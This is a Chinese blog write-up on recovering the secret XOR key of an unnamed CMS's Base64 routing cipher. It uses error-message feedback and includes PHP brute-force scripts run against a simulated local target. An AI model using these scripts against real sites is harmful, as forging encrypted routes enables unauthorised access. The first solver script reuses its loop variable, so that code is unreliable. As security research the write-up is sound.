某cms逆推key值
简介
加解密问题
了解一下base64的加密方式
基础索引表

编码流程
Base64将输入字符串按字节切分,取得每个字节对应的二进制值(若不足8比特则高位补0),然后将这些二进制数值串联起来,再按照6比特一组进行切分(因为2^6=64),最后一组若不足6比特则末尾补0。将每组二进制值转换成十进制,然后在上述表格中找到对应的符号并串联起来就是Base64编码结果。
由于二进制数据是按照8比特一组进行传输,因此Base64按照6比特一组切分的二进制数据必须是24比特的倍数(6和8的最小公倍数)。24比特就是3个字节,若原字节序列数据长度不是3的倍数时且剩下1个输入数据,则在编码结果后加2个=;若剩下2个输入数据,则在编码结果后加1个=。
完整的Base64定义可见RFC1421和RFC2045。因为Base64算法是将3个字节原数据编码为4个字节新数据,所以Base64编码后的数据比原始数据略长,为原来的4/3。
1 2 3 4 5 6 7 8 9
| 1)将所有字符转化为ASCII码;
2)将ASCII码转化为8位二进制;
3)将8位二进制3个归成一组(不足3个在后边补0)共24位,再拆分成4组,每组6位;
4)将每组6位的二进制转为十进制;
5)从Base64编码表获取十进制对应的Base64编码;
|
目标
首先映入眼帘的就是不一样的路由!

在run方法中对传入的_
参数进行解码,这就是路由了,至于这里为什么没有传值,应该是配置了伪静态

加解密函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| function strcode($string, $action = 'ENCODE'){ $action != 'ENCODE' && $string = base64_decode($string); $ua=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''; $key = md5(__STRCODE__); $keylen = strlen($key); $strlen = strlen($string); $code = ''; for ($i = 0; $i < $strlen; $i ++) { $k = $i % $keylen; $code .= $string[$i] ^ $key[$k]; } return ($action != 'DECODE' ? str_replace('=','',base64_encode($code)) : $code); }
|
这里不同的目标可能会存在不确定的key值
这里可以逆推key值,为什么呢?
因为当解密正确,却没有这个类或者方法的时候会爆出错误
相当于给了回显

而key的值是什么呢?
MD5值,固定的格式
我们可以每一位每一位的破解,通过一个不存在类
每一个字符存在16中情况
这不是指数,这只是简单的相加,总共需要计算16*32次
这里模拟以下环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
function strcode($string, $action = 'ENCODE'){ $action != 'ENCODE' && $string = base64_decode($string); $ua=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:''; $key = md5('hkbsi'); $keylen = strlen($key); $strlen = strlen($string); $code = ''; for ($i = 0; $i < $strlen; $i ++) { $k = $i % $keylen; $code .= $string[$i] ^ $key[$k]; } return ($action != 'DECODE' ? str_replace('=','',base64_encode($code)) : $code); } echo strcode($_GET['a'],'DECODE');
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php
function decode(){ $str_arr = array('1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f'); $str = ''; $key = ''; for($i=0; $i<33; $i++){ $str .= '1'; foreach ($str_arr as $k=>$v){ $key_tmp = $key.$v; $keylen = strlen($key_tmp); $strlen = strlen($str); $code = ''; for ($i = 0; $i < $strlen; $i ++) { $k = $i % $keylen; $code .= $str[$i] ^ $key_tmp[$k]; } $jiami_str = str_replace('=','',base64_encode($code)); $jiemi_str = file_get_contents("http://192.168.198.152/remote_test.php?a=".$jiami_str); if($jiemi_str == $str){ echo $v."\n"; $key .= $v; break; } } } return $key; }
echo decode();
|
瞬间数据就出来了

一样的值

当然目标系统中的还要更复杂一些,因为并不是从第一位开始给报错的
而要想出现类报错,最起码存在五位
出现error:param act
,最起码需要五位
而必要的爆破的是前四位,act=
,根据开始的base64的转换过程
取出目标站编码后的6位base64字符,去爆破
这不一定完全精确,因为base64存在自动补位,但是可以保证我们的act=
一定在其中

纯爆破的话也就六万多次,但是可以优化一下
- a=>V
- ac=>V1U
- act=>V1UX
- act=>V1UXW
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| <?php function decode(){ $str_arr = array('1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f'); $string = 'act='; $keylen = 3; $code = ''; $arr_tmp_1 = array(); $arr_tmp_2 = array(); $arr_tmp_3 = array(); $arr_tmp_4 = array(); foreach ($str_arr as $k=>$v){ $code = ''; for ($i = 0; $i < 1; $i ++) { $code .= $string[$i] ^ $v; } $jiami_code = str_replace('=','',base64_encode($code)); if(strpos($jiami_code,'V')===0){ $arr_tmp_1[] = $v; } } foreach ($arr_tmp_1 as $k_1=>$v_1){ foreach ($str_arr as $k=>$v){ $code = ''; $v = $v_1.$v; for ($i = 0; $i < 2; $i ++) { $code .= $string[$i] ^ $v[$i]; } $jiami_code = str_replace('=','',base64_encode($code)); if(strpos($jiami_code,'V1U')===0){ $arr_tmp_2[] = $v; } } } foreach ($arr_tmp_2 as $k_2=>$v_2){ foreach ($str_arr as $k=>$v){ $code = ''; $v = $v_2.$v; for ($i = 0; $i < 3; $i ++) { $code .= $string[$i] ^ $v[$i]; } $jiami_code = str_replace('=','',base64_encode($code)); if(strpos($jiami_code,'V1UX')===0){ $arr_tmp_3[] = $v; } } } foreach ($arr_tmp_3 as $k_3=>$v_3){ foreach ($str_arr as $k=>$v){ $code = ''; $v = $v_3.$v; for ($i = 0; $i < 4; $i ++) { $code .= $string[$i] ^ $v[$i]; } $jiami_code = str_replace('=','',base64_encode($code)); if(strpos($jiami_code,'V1UXW')===0){ $arr_tmp_4[] = $v; } } } return $arr_tmp_4; } $a = decode(); var_dump($a); ?>
|
剩下的随便一爆就出来和最上面的步骤接上了
